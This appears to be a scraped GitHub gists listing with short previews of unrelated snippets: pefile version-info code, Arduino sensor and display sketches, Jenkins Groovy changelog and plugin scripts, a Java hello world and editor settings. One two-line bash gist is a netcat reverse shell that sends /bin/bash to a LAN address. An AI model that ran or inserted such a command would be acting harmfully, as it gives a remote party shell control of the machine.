This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pefile | |
import os | |
def print_version_info(pe): | |
for fileinfo in pe.FileInfo[0]: | |
if fileinfo.Key.decode() == 'StringFileInfo': | |
for st in fileinfo.StringTable: | |
for entry in st.entries.items(): | |
print(f"{entry[0].decode()}: {entry[1].decode()}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Adafruit_MPU6050.h> | |
#include <Adafruit_SSD1306.h> | |
#include <Adafruit_Sensor.h> | |
#include <Wire.h> | |
#define SCREEN_WIDTH 128 | |
#define SCREEN_HEIGHT 64 | |
#define OLED_RESET 4 | |
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Arduino.h> | |
#include <Wire.h> | |
#define ONBOARD_LED 16 | |
#define LDR_PIN 2 | |
void setup() | |
{ | |
pinMode(ONBOARD_LED, OUTPUT); | |
pinMode(LDR_PIN, INPUT); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def getChangeLogSize() { | |
def allChangeSets = currentBuild.changeSets | |
if (allChangeSets && !allChangeSets.size()>0) | |
{ | |
if (allChangeSets[0].items && allChangeSets[0].items.size()>0) | |
{ | |
return allChangeSets[0].items.size() | |
} | |
} | |
return 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def changeLogSets = currentBuild.changeSets | |
for (int i = 0; i < changeLogSets.size(); i++) { | |
println changeLogSets[i].kind | |
def entries = changeLogSets[i].items | |
for (int j = 0; j < entries.length; j++) { | |
def entry = entries[j] | |
echo "${entry.commitId} by ${entry.author} on ${new Date(entry.timestamp)}: ${entry.msg}" | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
node { | |
echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1' | |
echo 'No quotes, pipeline command in single quotes' | |
sh 'echo $BUILD_NUMBER' // 1 | |
echo 'Double quotes are silently dropped' | |
sh 'echo "$BUILD_NUMBER"' // 1 | |
echo 'Even escaped with a single backslash they are dropped' | |
sh 'echo \"$BUILD_NUMBER\"' // 1 | |
echo 'Using two backslashes, the quotes are preserved' | |
sh 'echo \\"$BUILD_NUMBER\\"' // "1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Option #1 - List | |
def plugins = jenkins.model.Jenkins.instance.getPluginManager().getPlugins() | |
plugins.each {println "${it.getShortName()}: ${it.getVersion()}"} | |
## Option #2 - Graph | |
def plugins = jenkins.model.Jenkins.instance.getPluginManager().getPlugins() | |
println "digraph test {" | |
plugins.each { | |
def plugin = it.getShortName() | |
println "\"${plugin}\";" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class HelloWorld { | |
public static void main( String []args ) { | |
System.out.println( "Hello World!" ); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
nc -e /bin/bash 192.168.0.101 3131 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"window.zoomLevel": 2, | |
"javascript.updateImportsOnFileMove.enabled": "always", | |
"editor.formatOnSave": true, | |
"files.autoSave": "afterDelay", | |
"files.autoSaveDelay": 500, | |
"editor.fontSize": 17, | |
"editor.rulers": [ | |
{ | |
"column": 80, |
NewerOlder